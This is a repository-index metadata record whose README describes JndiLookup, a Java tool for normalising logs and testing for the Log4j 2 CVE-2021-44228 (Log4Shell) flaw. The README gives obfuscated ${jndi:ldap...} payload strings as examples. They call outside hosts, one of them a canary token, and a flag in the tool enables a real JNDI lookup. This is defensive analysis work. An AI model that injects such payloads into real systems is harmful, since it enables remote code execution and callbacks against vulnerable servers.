{"id":13843157,"url":"https://github.com/madCdan/JndiLookup","last_synced_at":"2025-07-11T18:30:38.256Z","repository":{"id":64627067,"uuid":"437902732","full_name":"madCdan/JndiLookup","owner":"madCdan","description":"Some tools to help mitigating Apache Log4j 2 CVE-2021-44228","archived":false,"fork":false,"pushed_at":"2021-12-13T17:07:42.000Z","size":2370,"stargazers_count":3,"open_issues_count":0,"forks_count":2,"subscribers_count":1,"default_branch":"main","last_synced_at":"2024-11-21T14:38:37.545Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/madCdan.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2021-12-13T14:22:34.000Z","updated_at":"2021-12-18T02:12:49.000Z","dependencies_parsed_at":"2022-12-11T21:46:04.857Z","dependency_job_id":null,"html_url":"https://github.com/madCdan/JndiLookup","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/madCdan/JndiLookup","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/madCdan%2FJndiLookup","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/madCdan%2FJndiLookup/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/madCdan%2FJndiLookup/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/madCdan%2FJndiLookup/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/madCdan","download_url":"https://codeload.github.com/madCdan/JndiLookup/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/madCdan%2FJndiLookup/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":264869965,"owners_count":23676138,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:01:56.355Z","updated_at":"2025-07-11T18:30:37.744Z","avatar_url":"https://github.com/madCdan.png","language":"Java","funding_links":[],"categories":["Java"],"sub_categories":[],"readme":"# JndiLookup\nSome tool to help analyzing Apache Log4j 2 CVE-2021-44228\n\nThis tool uses the \"lookup\" feature from log4j-2 to test against the JNDI vulnerability.\nThe objective is to easily run the lookup feature (to normalize logs for example or to do a real testing on some payload - please be cautious).\n\nTo build : \"make\" (for convenience, the JndiLookup.jar file is included in this git).\n\nOnce built, you can run the tool with \"java -jar JndiLookup.jar\" (the log4j directory with log4j binaries must be in the same path as the JndiLookup.jar)\n\nWith no argument, the JndiLookup tool read lines from stdin and \"convert\" them using the log4j lookup feature - this should be useful to normalize logs and search for exploitation attempts\n\nFor example : cat access.log | java -jar JndiLookup.jar\n\n\nIf you pass a string to the command line, the tool will convert this string and exits (please escape all the '$' characters).\n\nFor example : java -jar JndiLookup.jar java -jar JndiLookup.jar \"\\\\${jndi:\\\\${lower:l}\\\\${lower:d}a\\\\${lower:p}://world443.log4j.bin\\\\${upper:a}ryedge.io:80/callback}\"\n\nBy default, the JNDI lookup is disabled (and replaced by a lookup function that will just add \"jndi:\" but it's possible to enable the real JNDI lookup by passing the \"-X\" parameter to JndiLookup (\"-X\" to be passed as the first parameter) ; PLEASE BE CAUTIOUS with this because it could lead to your system being compromised.\n\nFor example : java -jar JndiLookup.jar -X \"\\\\${jndi:ldap://w8pcb14reujq65vic39pz9amv.canarytokens.com/a}\"\n[ This example uses one of my canary token, it's just for the example ; please know I'll be notified if you use this command - no problem on my side but I'll get the IP from which the DNS request is done ]\n\n\n\nThe following lookup are enabled in the log4j binariers used (2.15.0 for standard usage, 2.14.1 for JNDI-enabled usage) :\n- log4j\n- sys\n- env\n- main\n- marker\n- java\n- base64\n- lower\n- upper\n- date \n- ctx\n\nOther lookup might be availabled depending on your environment :\n- docker\n- kubernetes\n- spring\n- jvmrunargs\n\n[ Please see https://github.com/apache/logging-log4j2/blob/c30a1398a6697fb832c650870c44284d0052103e/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Interpolator.java for details on lookup plugin activation]\n\n\nPlease be aware this tool uses the real code from log4j lookup feature and it could be vulnerable because of other (non-JNDI) security issues.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FmadCdan%2FJndiLookup","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FmadCdan%2FJndiLookup","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FmadCdan%2FJndiLookup/lists"}